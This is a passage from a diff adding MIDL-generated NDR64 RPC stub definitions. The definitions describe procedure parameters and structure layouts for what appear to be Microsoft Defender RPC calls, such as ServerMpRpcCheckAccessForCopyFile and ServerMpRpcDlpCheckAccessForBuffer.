(NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4296_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */ + } +}; + +static const __midl_frag2116_t __midl_frag2116 = +{ +/* *Struct_4296_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2117 +}; + +static const __midl_frag2114_t __midl_frag2114 = +{ +/* union_4280 */ + { + /* union_4280 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2226, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag2116, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag2113_t __midl_frag2113 = +{ +/* Struct_4314_t */ + { + /* Struct_4314_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4314_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2114 + }, + { + /* Struct_4314_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2112_t __midl_frag2112 = +{ +/* *Struct_4314_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2113 +}; + +static const __midl_frag2111_t __midl_frag2111 = +{ +/* **Struct_4314_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2112 +}; + +static const __midl_frag2109_t __midl_frag2109 = +{ +/* Proc214_ServerMpRpcGetUpToDateInfo */ + { + /* Proc214_ServerMpRpcGetUpToDateInfo */ /* procedure Proc214_ServerMpRpcGetUpToDateInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2111, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2087_t __midl_frag2087 = +{ +/* Proc212_ServerMpRpcCheckAccessForCopyFile */ + { + /* Proc212_ServerMpRpcCheckAccessForCopyFile */ /* procedure Proc212_ServerMpRpcCheckAccessForCopyFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2164, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2364, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2364, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2364, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag2083_t __midl_frag2083 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag2076_t __midl_frag2076 = +{ +/* Struct_4208_t */ + { + /* Struct_4208_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4208_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + 0, + 0, + &__midl_frag2083, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2075_t __midl_frag2075 = +{ +/* *Struct_4208_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2076 +}; + +static const __midl_frag2074_t __midl_frag2074 = +{ +/* Proc211_ServerMpRpcDlpDispatchAccessEvent */ + { + /* Proc211_ServerMpRpcDlpDispatchAccessEvent */ /* procedure Proc211_ServerMpRpcDlpDispatchAccessEvent */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2076, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2066_t __midl_frag2066 = +{ +/* Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + { + /* Proc210_ServerMpRpcQueryDevVolumeProtectionState */ /* procedure Proc210_ServerMpRpcQueryDevVolumeProtectionState */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2054_t __midl_frag2054 = +{ +/* **wchar_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2266 +}; + +static const __midl_frag2049_t __midl_frag2049 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag2048_t __midl_frag2048 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2049 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2047_t __midl_frag2047 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2048 +}; + +static const __midl_frag2046_t __midl_frag2046 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2047 +}; + +static const __midl_frag2039_t __midl_frag2039 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2038_t __midl_frag2038 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2039 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2037_t __midl_frag2037 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2038 +}; + +static const __midl_frag2035_t __midl_frag2035 = +{ +/* Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + { + /* Proc208_ServerMpRpcDlpCheckAccessForBuffer */ /* procedure Proc208_ServerMpRpcDlpCheckAccessForBuffer */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2038, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2046, + { + /* arg_6 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2054, + { + /* arg_7 